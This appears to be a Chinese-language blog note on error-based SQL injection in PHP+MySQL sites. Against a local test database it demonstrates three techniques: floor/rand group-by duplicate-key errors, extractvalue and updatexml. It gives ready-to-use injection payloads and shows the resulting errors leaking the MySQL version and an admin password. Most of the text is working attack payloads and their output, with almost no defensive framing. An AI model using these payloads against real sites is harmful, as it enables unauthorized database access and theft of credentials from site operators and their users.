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放点原来的笔记,Mysql在执行语句的时候会抛出异常信息信息,而php+mysql架构的网站往往又将错误代码显示在页面上,这样可以通过构造如下三种方法获取特定数据。实际测试环境:
​
mysql> show tables;
+----------------+
| Tables_in_test |
+----------------+
| admin |
| article |
+----------------+
mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+-------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| user | varchar(50) | NO | | NULL | |
| pass | varchar(50) | NO | | NULL | |
+-------+------------------+------+-----+---------+----------------+
mysql> describe article;
+---------+------------------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------+------------------+------+-----+---------+----------------+
| id | int(10) unsigned | NO | PRI | NULL | auto_increment |
| title | varchar(50) | NO | | NULL | |
| content | varchar(50) | NO | | NULL | |
+---------+------------------+------+-----+---------+----------------+
1、通过floor报错
可以通过如下一些利用代码
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
举例如下:
首先进行正常查询:
mysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
+----+-------+---------+
| 1 | test | do it |
+----+-------+---------+
假如id输入存在注入的话,可以通过如下语句进行报错。
mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码:
Method1:
mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
Method2:
mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
测试语句如下
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
测试语句
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.
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